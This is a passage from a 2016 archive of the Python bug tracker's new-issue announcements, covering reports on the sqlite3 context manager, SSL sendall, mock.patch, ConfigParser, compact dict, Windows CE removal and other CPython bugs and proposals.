PyObject*, which is used for modules in the PyModule_* API. (It turns out nothing in core Python currently uses the argument except passing it to other _impl functions, but this could change as PEP 489 is improved upon.) The attached patch contains manual changes only. Please run `make clinic` after applying it to regenerate allll the code. ---------- components: Argument Clinic files: 0001-clinic-Switch-the-module-argument-to-PyObject.patch keywords: patch messages: 268676 nosy: encukou, larry, ncoghlan priority: normal severity: normal status: open title: Clinic: first parameter for module-level functions should be PyObject*, not PyModuleDef* versions: Python 3.6 Added file: http://bugs.python.org/file43418/0001-clinic-Switch-the-module-argument-to-PyObject.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 16 12:36:25 2016 From: report at bugs.python.org (Xiang Zhang) Date: Thu, 16 Jun 2016 16:36:25 +0000 Subject: [New-bugs-announce] [issue27333] validate_step in rangeobject.c, incorrect code logic but right result Message-ID: <1466094985.85.0.664632093379.issue27333@psf.upfronthosting.co.za> New submission from Xiang Zhang: Here is a drawback in validate_step of rangeobject. PyNumber_AsSsize_t returns clipped value and won't set an exception when the argument *exc* is set NULL. So if step overflows, istep is always PY_SSIZE_MAX or PY_SSIZE_MIN. But the following code is to check if istep is -1 and there is an exception. The code actually conflicts. But fortunately the result is always right. I suggest to make the code logic right. ---------- files: incorrect_logic_in_validate_step.patch keywords: patch messages: 268677 nosy: xiang.zhang priority: normal severity: normal status: open title: validate_step in rangeobject.c, incorrect code logic but right result Added file: http://bugs.python.org/file43419/incorrect_logic_in_validate_step.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 16 12:45:50 2016 From: report at bugs.python.org (Luca Citi) Date: Thu, 16 Jun 2016 16:45:50 +0000 Subject: [New-bugs-announce] [issue27334] pysqlite3 context manager not performing rollback when a database is locked elsewhere for non-DML statements Message-ID: <1466095550.35.0.353945818907.issue27334@psf.upfronthosting.co.za> New submission from Luca Citi: I have reported this bug to the pysqlite module for python2 ( https://github.com/ghaering/pysqlite/issues/103 ) but I also report it here because it applies to python3 too. The pysqlite3 context manager does not perform a rollback when a transaction fails because the database is locked by some other process performing non-DML statements (e.g. during the sqlite3 command line .dump method). To reproduce the problem, open a terminal and run the following: ```bash sqlite3 /tmp/test.db 'drop table person; create table person (id integer primary key, firstname varchar)' echo -e 'begin transaction;\nselect * from person;\n.system sleep 1000\nrollback;' | sqlite3 /tmp/test.db ``` Leave this shell running and run the python3 interpreter from a different shell, then type: ```python import sqlite3 con = sqlite3.connect('/tmp/test.db') with con: con.execute("insert into person(firstname) values (?)", ("Jan",)) pass ``` You should receive the following: ``` 1 with con: 2 con.execute("insert into person(firstname) values (?)", ("Jan",)) ----> 3 pass 4 OperationalError: database is locked ``` Without exiting python, switch back to the first shell and kill the `'echo ... | sqlite3'` process. Then run: ```bash sqlite3 /tmp/test.db .dump ``` you should get: ``` PRAGMA foreign_keys=OFF; BEGIN TRANSACTION; /**** ERROR: (5) database is locked *****/ ROLLBACK; -- due to errors ``` This means that the python process never executed a `rollback` and is still holding the lock. To release the lock one can exit python (clearly, this is not the intended behaviour of the context manager). I believe the reason for this problem is that the exception happened in the implicit `commit` that is run on exiting the context manager, rather than inside it. In fact the exception is in the `pass` line rather than in the `execute` line. This exception did not trigger a `rollback` because the it happened after `pysqlite_connection_exit` checks for exceptions. The expected behaviour (pysqlite3 rolling back and releasing the lock) is recovered if the initial blocking process is a Data Modification Language (DML) statement, e.g.: ```bash echo -e 'begin transaction; insert into person(firstname) values ("James");\n.system sleep 1000\nrollback;' | sqlite3 /tmp/test.db ``` because this raises an exception at the `execute` time rather than at `commit` time. To fix this problem, I think the `pysqlite_connection_exit` function in src/connection.c should handle the case when the commit itself raises an exception, and invoke a rollback. Please see patch attached. ---------- components: Extension Modules files: fix_pysqlite_connection_exit.patch keywords: patch messages: 268678 nosy: lciti priority: normal severity: normal status: open title: pysqlite3 context manager not performing rollback when a database is locked elsewhere for non-DML statements versions: Python 3.6 Added file: http://bugs.python.org/file43420/fix_pysqlite_connection_exit.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 16 13:35:01 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Thu, 16 Jun 2016 17:35:01 +0000 Subject: [New-bugs-announce] [issue27335] Clarify that writing to locals() inside a class body is supported Message-ID: <1466098501.84.0.0349098094976.issue27335@psf.upfronthosting.co.za> New submission from Steven D'Aprano: The docs for locals() warn not to write to the dict returned, as it may not have the intended effect of modifying the actual variables seen by the interpreter. https://docs.python.org/3/library/functions.html#locals But as I understanding it, using locals() inside a class body is intentionally supported: class K: locals()['x'] = 1 assert K.x == 1 is not just an accident of implementation, but the intended behaviour and a language guarantee. ---------- assignee: docs at python components: Documentation messages: 268682 nosy: docs at python, steven.daprano priority: normal severity: normal status: open title: Clarify that writing to locals() inside a class body is supported versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 16 13:37:44 2016 From: report at bugs.python.org (Alex Willmer) Date: Thu, 16 Jun 2016 17:37:44 +0000 Subject: [New-bugs-announce] [issue27336] --without-threads build fails due to undeclared _PyGILState_check_enabled Message-ID: <1466098664.28.0.417925542114.issue27336@psf.upfronthosting.co.za> New submission from Alex Willmer: Building current tip (rev 102062:3d726dbfca31), on Ubuntu 16.04/x86_64, using --without-thread fails; with the following error gcc -c -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -Werror=declaration-after-statement -I. -IInclude -I./Include -DPy_BUILD_CORE -o Python/pylifecycle.o Python/pylifecycle.c Python/pylifecycle.c: In function ?Py_NewInterpreter?: Python/pylifecycle.c:751:5: error: ?_PyGILState_check_enabled? undeclared (first use in this function) _PyGILState_check_enabled = 0; ^ Python/pylifecycle.c:751:5: note: each undeclared identifier is reported only once for each function it appears in Makefile:1575: recipe for target 'Python/pylifecycle.o' failed make: *** [Python/pylifecycle.o] Error 1 I've attached the full build log. ---------- components: Build files: without-threads.build.log messages: 268683 nosy: Alex.Willmer priority: normal severity: normal status: open title: --without-threads build fails due to undeclared _PyGILState_check_enabled versions: Python 3.6 Added file: http://bugs.python.org/file43422/without-threads.build.log _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 16 14:04:30 2016 From: report at bugs.python.org (Peter Eisentraut) Date: Thu, 16 Jun 2016 18:04:30 +0000 Subject: [New-bugs-announce] [issue27337] 3.6.0a2 tarball has weird paths Message-ID: <1466100270.24.0.259127068452.issue27337@psf.upfronthosting.co.za> New submission from Peter Eisentraut: The file Python-3.6.0a2.tgz contains paths that start with "..", e.g., $ tar tf Python-3.6.0a2.tgz | head ../Python-3.6.0a2/ ../Python-3.6.0a2/Doc/ ../Python-3.6.0a2/Grammar/ ../Python-3.6.0a2/Include/ ../Python-3.6.0a2/LICENSE ../Python-3.6.0a2/Lib/ ../Python-3.6.0a2/Mac/ ../Python-3.6.0a2/Makefile.pre.in ../Python-3.6.0a2/Misc/ ../Python-3.6.0a2/Modules/ This causes tar to error out when unpacking the file. This was not the case in previous tarballs and also not in Python-3.6.0a2.tar.xz. ---------- components: Build messages: 268684 nosy: petere priority: normal severity: normal status: open title: 3.6.0a2 tarball has weird paths versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 16 14:47:37 2016 From: report at bugs.python.org (Audric D'Hoest (Dr. Pariolo)) Date: Thu, 16 Jun 2016 18:47:37 +0000 Subject: [New-bugs-announce] [issue27338] python 2.7 platform.system reports wrong Message-ID: <1466102857.11.0.587490522891.issue27338@psf.upfronthosting.co.za> New submission from Audric D'Hoest (Dr. Pariolo): Mac mini late 2014, upgraded to El capitan. Out of the box python 2.7 reports the wrong system info. platform.system() should report El Capitan platform.release() should report 10.11.5 ---------- components: Macintosh files: pybug.png messages: 268687 nosy: Audric D'Hoest (Dr. Pariolo), ned.deily, ronaldoussoren priority: normal severity: normal status: open title: python 2.7 platform.system reports wrong versions: Python 2.7 Added file: http://bugs.python.org/file43423/pybug.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 16 16:16:06 2016 From: report at bugs.python.org (YoSTEALTH) Date: Thu, 16 Jun 2016 20:16:06 +0000 Subject: [New-bugs-announce] [issue27339] Security Issue: Typosquatting Message-ID: <1466108166.86.0.240454355449.issue27339@psf.upfronthosting.co.za> New submission from YoSTEALTH: I read this new article that explains Typosquatting well: http://incolumitas.com/2016/06/08/typosquatting-package-managers/ making it known here so python developers can address this issue accordingly! ---------- messages: 268692 nosy: YoSTEALTH priority: normal severity: normal status: open title: Security Issue: Typosquatting _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 17 00:25:20 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 17 Jun 2016 04:25:20 +0000 Subject: [New-bugs-announce] [issue27340] bytes-like objects with socket.sendall(), SSL, and http.client Message-ID: <1466137520.57.0.744540833455.issue27340@psf.upfronthosting.co.za> New submission from Martin Panter: According to the documentation, HTTPSConnection.request() should accept arbitrary bytes-like objects, but this is not the case. Currently (since Issue 23756), a ?bytes-like object? is defined to be anything that works with Python?s buffer API, as long as it is C-contiguous. These objects can be passed to socket.sendall(): >>> byteslike = (ctypes.c_ubyte * 6).from_buffer_copy(b"DATA\r\n") >>> s = socket.create_connection(("localhost", 80)) >>> s.sendall(byteslike) # Server receives b"DATA\r\n" This is not explicitly documented for socket objects. But since Issue 23539 (3.4+), HTTPConnection.request() does document support for bytes-like objects: >>> h = HTTPConnection("localhost", 80) >>> # Send Content-Length: 6 and body b"DATA\r\n" >>> h.request("POST", "/", body=byteslike) On its own, there is no problem with Python relying on its own undocumented behaviour. But Python?s ?ssl? module does not support arbitrary bytes-like objects, and as a result neither does HTTPSConnection: >>> s = ssl.wrap_socket(socket.create_connection(("localhost", 443))) >>> s.sendall(byteslike) Traceback (most recent call last): File "", line 1, in File "/usr/lib/python3.5/ssl.py", line 886, in sendall v = self.send(data[count:]) File "/usr/lib/python3.5/ssl.py", line 856, in send return self._sslobj.write(data) File "/usr/lib/python3.5/ssl.py", line 581, in write return self._sslobj.write(data) TypeError: a bytes-like object is required, not 'list' >>> c = ssl.create_default_context(cafile="/lib/python3.5/test/keycert.pem") >>> h = HTTPSConnection("localhost", 443, context=c) >>> h.request("POST", "/", body=byteslike) Traceback (most recent call last): File "/usr/lib/python3.5/http/client.py", line 885, in send self.sock.sendall(data) File "/usr/lib/python3.5/ssl.py", line 886, in sendall v = self.send(data[count:]) File "/usr/lib/python3.5/ssl.py", line 856, in send return self._sslobj.write(data) File "/usr/lib/python3.5/ssl.py", line 581, in write return self._sslobj.write(data) TypeError: a bytes-like object is required, not 'list' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "", line 1, in File "/usr/lib/python3.5/http/client.py", line 1083, in request self._send_request(method, url, body, headers) File "/usr/lib/python3.5/http/client.py", line 1128, in _send_request self.endheaders(body) File "/usr/lib/python3.5/http/client.py", line 1079, in endheaders self._send_output(message_body) File "/usr/lib/python3.5/http/client.py", line 913, in _send_output self.send(message_body) File "/usr/lib/python3.5/http/client.py", line 892, in send "or an iterable, got %r" % type(data)) TypeError: data should be a bytes-like object or an iterable, got This could be fixed in the implementation of SSLSocket.sendall(). But I am not sure if that is an appropriate change for 3.5. Another option would be to adjust the documentation of HTTP(S)Connection in 3.5, either not mentioning bytes-like objects at all, or clarifying that they don?t work with SSL. ---------- assignee: docs at python components: Documentation, Library (Lib) messages: 268707 nosy: docs at python, martin.panter priority: normal severity: normal status: open title: bytes-like objects with socket.sendall(), SSL, and http.client versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 17 01:35:08 2016 From: report at bugs.python.org (Shoshana Berleant) Date: Fri, 17 Jun 2016 05:35:08 +0000 Subject: [New-bugs-announce] [issue27341] mock.patch decorator fails silently on generators Message-ID: <1466141708.88.0.0388300458163.issue27341@psf.upfronthosting.co.za> New submission from Shoshana Berleant: (at least in my case) I committed two tests before I realized the tests were not being run: https://github.com/nipy/nipype/blob/abe7920a051f1570ccce4b71f26f50102d6e4e12/nipype/testing/tests/test_utils.py#L23 I realized this afternoon, while writing some more tests, that tests with the patch decorator were all reported as "OK", even when I wanted them to fail. Turns out they aren't being run at all. I commented out all the yield statements, and the tests ran just as they should. I don't know exactly what is going on here, but might raising an error or warning be good here? Originally filed here: https://github.com/testing-cabal/mock/issues/366 ---------- components: Tests messages: 268709 nosy: shoshber priority: normal severity: normal status: open title: mock.patch decorator fails silently on generators type: behavior versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 17 03:39:28 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 17 Jun 2016 07:39:28 +0000 Subject: [New-bugs-announce] [issue27342] Clean up some Py_XDECREFs in rangeobject.c and bltinmodule.c Message-ID: <1466149168.09.0.735946487659.issue27342@psf.upfronthosting.co.za> New submission from Xiang Zhang: Some Py_XDECREFs in rangeobject.c and bltinmodule.c are not necessary. Py_DECREF is enough. Clean up them. ---------- files: cleanup_some_xdecrefs.patch keywords: patch messages: 268711 nosy: xiang.zhang priority: normal severity: normal status: open title: Clean up some Py_XDECREFs in rangeobject.c and bltinmodule.c Added file: http://bugs.python.org/file43429/cleanup_some_xdecrefs.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 17 04:35:06 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 17 Jun 2016 08:35:06 +0000 Subject: [New-bugs-announce] [issue27343] Incorrect error message for conflicting initializers of ctypes structure Message-ID: <1466152506.85.0.761729161431.issue27343@psf.upfronthosting.co.za> New submission from Serhiy Storchaka: >>> from ctypes import * >>> class POINT(Structure): ... _fields_ = [("x", c_int), ("y", c_int)] ... >>> POINT(2, 3, x=4) Traceback (most recent call last): File "", line 1, in TypeError: duplicate values for field '???' The name of conflicting field is not output correctly because it is expected to be bytes. Proposed patch makes the error message always contain the name of conflicting field. ---------- components: Library (Lib), ctypes files: ctypes_conflictin_initializers_error_message.patch keywords: patch messages: 268713 nosy: amaury.forgeotdarc, belopolsky, meador.inge, serhiy.storchaka priority: normal severity: normal stage: patch review status: open title: Incorrect error message for conflicting initializers of ctypes structure type: behavior versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43430/ctypes_conflictin_initializers_error_message.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 17 11:08:46 2016 From: report at bugs.python.org (Daniel Holth) Date: Fri, 17 Jun 2016 15:08:46 +0000 Subject: [New-bugs-announce] [issue27344] zipfile *does* support utf-8 filenames Message-ID: <1466176126.21.0.0133629365393.issue27344@psf.upfronthosting.co.za> New submission from Daniel Holth: The zipfile documentation says "There is no official file name encoding for ZIP files." However ZIP and zipfile supports utf-8 filenames; this has been true for a long time, at least since Python 2.7. ---------- assignee: docs at python components: Documentation messages: 268727 nosy: dholth, docs at python priority: normal severity: normal status: open title: zipfile *does* support utf-8 filenames versions: Python 2.7, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 18 03:15:55 2016 From: report at bugs.python.org (Ryan Birmingham) Date: Sat, 18 Jun 2016 07:15:55 +0000 Subject: [New-bugs-announce] [issue27345] GzipFile's readinto() reads gzip data instead of file data. Message-ID: <1466234155.82.0.00888725060724.issue27345@psf.upfronthosting.co.za> New submission from Ryan Birmingham: In cases where libraries try to call readinto(), the results are unexpected (the gzip data). Shouldn't it instead raise UnsupportedOperation for readinto() (and truncate())? ---------- components: IO files: gzip_readinto.patch keywords: patch messages: 268773 nosy: Ryan Birmingham priority: normal severity: normal status: open title: GzipFile's readinto() reads gzip data instead of file data. type: behavior versions: Python 2.7 Added file: http://bugs.python.org/file43446/gzip_readinto.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 18 05:39:53 2016 From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=) Date: Sat, 18 Jun 2016 09:39:53 +0000 Subject: [New-bugs-announce] [issue27346] Implement os.readv() / os.readv() Message-ID: <1466242793.09.0.103237179238.issue27346@psf.upfronthosting.co.za> New submission from ???? ?????????: These functions are not implemented natively in Windows, but the Windows API has analogous functions ReadFileScatter and WriteFileGather. ---------- components: IO, Library (Lib) messages: 268782 nosy: mmarkk priority: normal severity: normal status: open title: Implement os.readv() / os.readv() type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 18 10:42:16 2016 From: report at bugs.python.org (Daniel Griffin) Date: Sat, 18 Jun 2016 14:42:16 +0000 Subject: [New-bugs-announce] [issue27347] Private Message-ID: <1466260936.45.0.785321947044.issue27347@psf.upfronthosting.co.za> New submission from Daniel Griffin: Creative Commons License
This work is licensed under a Creative Commons Attribution 4.0 International License. ---------- components: Installation, Interpreter Core, Tests files: bugreport-2016-05-29-03-43-39.txt messages: 268813 nosy: Daniel Griffin priority: normal severity: normal status: open title: Private versions: Python 3.6 Added file: http://bugs.python.org/file43458/bugreport-2016-05-29-03-43-39.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 18 10:57:36 2016 From: report at bugs.python.org (Martin Panter) Date: Sat, 18 Jun 2016 14:57:36 +0000 Subject: [New-bugs-announce] [issue27348] Non-main thread exception handler drops exception message Message-ID: <1466261856.58.0.470780414166.issue27348@psf.upfronthosting.co.za> New submission from Martin Panter: If the exception argument is None or repr(None), it is omitted from the report when a thread raises an unhandled exception: >>> def raise_exception(e): ... raise e ... >>> t = Thread(target=raise_exception, args=(Exception(None),)); t.start(); t.join() Exception in thread Thread-1: Traceback (most recent call last): File "/home/proj/python/cpython/Lib/threading.py", line 916, in _bootstrap_inner self.run() File "/home/proj/python/cpython/Lib/threading.py", line 864, in run self._target(*self._args, **self._kwargs) File "", line 2, in raise_exception Exception >>> t = Thread(target=raise_exception, args=(Exception("None"),)); t.start(); t.join() Exception in thread Thread-2: Traceback (most recent call last): File "/home/proj/python/cpython/Lib/threading.py", line 916, in _bootstrap_inner self.run() File "/home/proj/python/cpython/Lib/threading.py", line 864, in run self._target(*self._args, **self._kwargs) File "", line 2, in raise_exception Exception Compare the result with other exception messages, the normal sys.excepthook() report, and Python 2: >>> t = Thread(target=raise_exception, args=(Exception("NONE"),)); t.start(); t.join() Exception in thread Thread-3: Traceback (most recent call last): File "/home/proj/python/cpython/Lib/threading.py", line 916, in _bootstrap_inner self.run() File "/home/proj/python/cpython/Lib/threading.py", line 864, in run self._target(*self._args, **self._kwargs) File "", line 2, in raise_exception Exception: NONE >>> raise Exception(None) Traceback (most recent call last): File "", line 1, in Exception: None ---------- messages: 268814 nosy: martin.panter priority: normal severity: normal status: open title: Non-main thread exception handler drops exception message versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 18 14:26:42 2016 From: report at bugs.python.org (Jakub Wilk) Date: Sat, 18 Jun 2016 18:26:42 +0000 Subject: [New-bugs-announce] [issue27349] distutils.command.upload: typo "protcol_version" Message-ID: <1466274402.68.0.283801716839.issue27349@psf.upfronthosting.co.za> New submission from Jakub Wilk: distutils/command/upload.py reads: data = { # action ':action': 'file_upload', 'protcol_version': '1', ... } It should be of course 'protocol_version'. I checked the PyPI code, and it's spelled correctly there. This misspelling was found using mwic: http://jwilk.net/software/mwic ---------- components: Distutils messages: 268820 nosy: dstufft, eric.araujo, jwilk priority: normal severity: normal status: open title: distutils.command.upload: typo "protcol_version" _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 18 23:43:16 2016 From: report at bugs.python.org (INADA Naoki) Date: Sun, 19 Jun 2016 03:43:16 +0000 Subject: [New-bugs-announce] [issue27350] Compact and ordered dict Message-ID: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za> New submission from INADA Naoki: I've implemented compact ordered dictionary, introduced in PyPy blog [1]. To finish my work, I really need core developer's help. Please see TODO comment in the patch. [1]: https://morepypy.blogspot.jp/2015/01/faster-more-memory-efficient-and-more.html See also: https://mail.python.org/pipermail/python-dev/2016-June/145299.html https://github.com/methane/cpython/pull/1 (same to attached patch) ---------- components: Interpreter Core files: compact-dict.patch keywords: patch messages: 268837 nosy: naoki priority: normal severity: normal status: open title: Compact and ordered dict versions: Python 3.6 Added file: http://bugs.python.org/file43463/compact-dict.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 19 00:50:27 2016 From: report at bugs.python.org (Rich Rauenzahn) Date: Sun, 19 Jun 2016 04:50:27 +0000 Subject: [New-bugs-announce] [issue27351] Unexpected ConfigParser.read() behavior when passed fileobject Message-ID: <1466311827.21.0.0107030173129.issue27351@psf.upfronthosting.co.za> New submission from Rich Rauenzahn: This came up on StackOverflow: http://stackoverflow.com/a/37903779/2077386 I wanted to bring it to your attention in case it hasn't been notice before. It turns out that if you pass a fileobject (i.e., ConfigParser().read(open("foo"))) ConfigParser.read() will look at the argument, see it isn't a basestring, and then will iterate over it. fileobjects are iterables. This results in iterating over the contents of the file 'foo'. It then attempts to open a file named after every line read from 'foo'. For example, I made a file foo and filled it with a-g, each letter per line. strace shows: open("foo", O_RDONLY) = 3 open("a\n", O_RDONLY) = -1 ENOENT (No such file or directory) open("b\n", O_RDONLY) = -1 ENOENT (No such file or directory) open("c\n", O_RDONLY) = -1 ENOENT (No such file or directory) open("d\n", O_RDONLY) = -1 ENOENT (No such file or directory) open("e\n", O_RDONLY) = -1 ENOENT (No such file or directory) open("f\n", O_RDONLY) = -1 ENOENT (No such file or directory) open("g\n", O_RDONLY) = -1 ENOENT (No such file or directory) ...and since the API is designed to ignore files it can't open, it just ignores the open errors. I wonder if this fileobject case ought to be checked for when checking the arguments passed into ConfigParser.read(). Thank you. ---------- components: Library (Lib) messages: 268838 nosy: Rich.Rauenzahn priority: normal severity: normal status: open title: Unexpected ConfigParser.read() behavior when passed fileobject type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 19 07:53:12 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 19 Jun 2016 11:53:12 +0000 Subject: [New-bugs-announce] [issue27352] Bug in IMPORT_NAME Message-ID: <1466337192.83.0.569731150376.issue27352@psf.upfronthosting.co.za> New submission from Serhiy Storchaka: Seems there is a bug in the implementation of the IMPORT_NAME opcode in ceval.c. If the level argument is -1, it is not passed to __import__ (should never happen, but looks correct). If it is an integer != -1 in C long range, it is passed to __import__ (this is correct). But if it is not integer (e.g. None) or can't be converted to C long, an exception is set and __import__ is called with level and not cleared error (this is wrong). In correct bytecode the level argument can be either integer or None. Default __import__ accepts only integers as the level argument and checks the range. Proposed patch makes the code always passing the level argument to __import__ unless it is None. ---------- components: Interpreter Core files: import_name_level.patch keywords: patch messages: 268849 nosy: brett.cannon, eric.snow, ncoghlan, serhiy.storchaka priority: normal severity: normal stage: patch review status: open title: Bug in IMPORT_NAME type: behavior versions: Python 2.7, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43470/import_name_level.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 19 20:22:40 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Mon, 20 Jun 2016 00:22:40 +0000 Subject: [New-bugs-announce] [issue27353] Add nroot function to math Message-ID: <1466382160.58.0.562689353089.issue27353@psf.upfronthosting.co.za> New submission from Steven D'Aprano: For Issue27181 (add geometric mean to statistics module), I need a function to calculate nth roots that is more accurate than pow(x, 1/n). E.g. math.pow(1000, 1/3) returns 9.999999999999998 instead of 10.0. I have a pure-Python implementation of nroot which I believe is satisfactory, and I could use that, but I'm uncomfortable about making it a public function in statistics. It's not really a statistics function, its more general, and I think it would be generally useful enough that it should go into math. To recap the options: - leave nroot in statistics as a private function; - leave it in statistics, but make it public; - add it to math I'm willing to do the first if there is no other alternative, reluctant to do the second, and think that the third is the most useful, but I don't have the ability to write a pure C version. If the math library was written in Python that would be the obvious place for it. ---------- components: Library (Lib) messages: 268875 nosy: steven.daprano priority: normal severity: normal status: open title: Add nroot function to math type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 19 22:32:09 2016 From: report at bugs.python.org (Ilya Kulakov) Date: Mon, 20 Jun 2016 02:32:09 +0000 Subject: [New-bugs-announce] [issue27354] SSLContext.load_verify_locations cannot handle paths on Windows which cannot be encoded using mbcs Message-ID: <1466389929.18.0.227515818606.issue27354@psf.upfronthosting.co.za> New submission from Ilya Kulakov: On Windows 8.1 x64 with Python 3.5.1 I was able to reproduce the issue by attempting to load a file at "C:\Users\????\AppData\Local\Temp\_????_70e5wbxo\cacert.pem". locale.getdefaultlocale() > ('en_US', 'cp1252') locale.getpreferredencoding() > 'cp1252' sys.getfilesystemencoding() > 'mbcs' sys.getdefaultencoding() > 'utf-8' c = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) c.load_verify_locations(cafile=r"C:\Users\????\AppData\Local\Temp\_????_70e5wbxo\cacert.pem") > TypeError: cafile should be a valid filesystem path c.load_verify_locations(cafile=r"C:\Users\????\AppData\Local\Temp\_????_70e5wbxo\cacert.pem".encode(sys.getfilesystemencoding())) > UnicodeEncodeError: 'mbcs' codec can't encode characters in positions 0--1: invalid character c.load_verify_locations(cafile=r"C:\Users\????\AppData\Local\Temp\_????_70e5wbxo\cacert.pem".encode('utf-8')) > ok ---------- components: Extension Modules, Unicode, Windows messages: 268880 nosy: Ilya.Kulakov, ezio.melotti, haypo, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: SSLContext.load_verify_locations cannot handle paths on Windows which cannot be encoded using mbcs versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 20 03:36:20 2016 From: report at bugs.python.org (Larry Hastings) Date: Mon, 20 Jun 2016 07:36:20 +0000 Subject: [New-bugs-announce] [issue27355] Strip out the last lingering vestiges of Windows CE support Message-ID: <1466408180.27.0.0873204690606.issue27355@psf.upfronthosting.co.za> New submission from Larry Hastings: I can't tell if CPython ever really officially supported Windows CE or not. There are some checkins around 2.5 that suggest there was at least partial support. However posixmodule was supposed to be renamed "ce" on Windows CE, and that was never checked in. (There was an external fork called "Python CE" for a while which *did* make this change.) In any case, Windows CE support never survived the transition to Python 3. It has clearly never even been compiled since Python 3.0 shipped. In addition, the external "Python CE" project is dead; their last supported Python version was 2.5, back in 2007. Windows CE appears to still be around as an embedded OS, but I don't think it's a user-visible OS. The days of Windows CE palmtops is long gone. And it's incontrevertably true: Python is no longer supported on Windows CE--if indeed it ever was. So it's time for some late-spring cleaning! The attached patch removes all remaining vestiges of Python's support for Windows CE. A couple of minor questions/notes: * I did a search-and-destroy for "ce", which lead me to _WIN32_WCE and MS_WINCE. * I wasn't sure if I should touch Lib/platform.py. (MAL?) * I'm pretty sure I shouldn't touch config.sub, zlib, or ctypes. Could one of you Windows guys apply the patch and tell me if anything blows up? ---------- assignee: larry components: Interpreter Core, Library (Lib), Tests files: larry.dont.wince.1.patch.txt messages: 268886 nosy: larry, lemburg, steve.dower, tim.golden, zach.ware priority: low severity: normal stage: patch review status: open title: Strip out the last lingering vestiges of Windows CE support type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file43481/larry.dont.wince.1.patch.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 20 11:24:24 2016 From: report at bugs.python.org (Fabian) Date: Mon, 20 Jun 2016 15:24:24 +0000 Subject: [New-bugs-announce] [issue27356] csv Message-ID: <1466436264.58.0.694730033551.issue27356@psf.upfronthosting.co.za> New submission from Fabian: Hi, I am running Canopy on Windows 7 64 bit. When I run the attached file, I get the following error: ----> 5 with open('C:\Users\Anwender\Desktop\Test\blub.txt') as csvfile: 6 dialekt = csv.Sniffer().sniff(csvfile.read(1024)) IOError: [Errno 22] invalid mode ('r') or filename: 'C:\\Users\\Anwender\\Desktop\\Test\x08lub.txt' As you see, Python complains about the file name after it changes the file name for no reason. The thing is, when I use a capital letter after every back slash it is fine, but I needed quite some time to figure that out. So it is very annoying for everyone encountering the problem for the first time. Also numbers at the beginning of a file name seem not to work either. Thank you for developing Python! ---------- components: Unicode files: MesspunkteAusKurven.py messages: 268904 nosy: bethard, ezio.melotti, fabian_b, haypo priority: normal severity: normal status: open title: csv Added file: http://bugs.python.org/file43490/MesspunkteAusKurven.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 20 11:53:48 2016 From: report at bugs.python.org (Sworddragon) Date: Mon, 20 Jun 2016 15:53:48 +0000 Subject: [New-bugs-announce] [issue27357] Enhancing the installer Message-ID: <1466438028.41.0.887417379593.issue27357@psf.upfronthosting.co.za> New submission from Sworddragon: On installing Python 3.5.1 with the Windows installer I have noticed some things that could maybe be enhanced: - The launcher provides the option "Add Python 3.5 to PATH" on the first page. But if a custom installation is choosen the option appears again as "Add Python to environment variables". I think this option should not appear twice in this case so one of them could be removed. If both should be kept I think they should then at least reference to the same text. - On a custom installation if the option "py launcher" is disabled the suboption "for all users (requires elevation)" does not get disabled. Since the option "Associate files with Python (requires the py launcher)" seems to get disabled in this case the other option should probably get disabled too. - On a custom installation the option "Create shortcuts for installed applications" sounds confusing. What shortcuts are being created for what applications? Currently I'm assuming that the last word has a typo and this option creates the startmenu and desktop shortcuts. If this is the case maybe this option should be separated into 2 for the startmenu and the desktop shortcuts. ---------- components: Installation messages: 268908 nosy: Sworddragon priority: normal severity: normal status: open title: Enhancing the installer type: enhancement versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 20 21:46:01 2016 From: report at 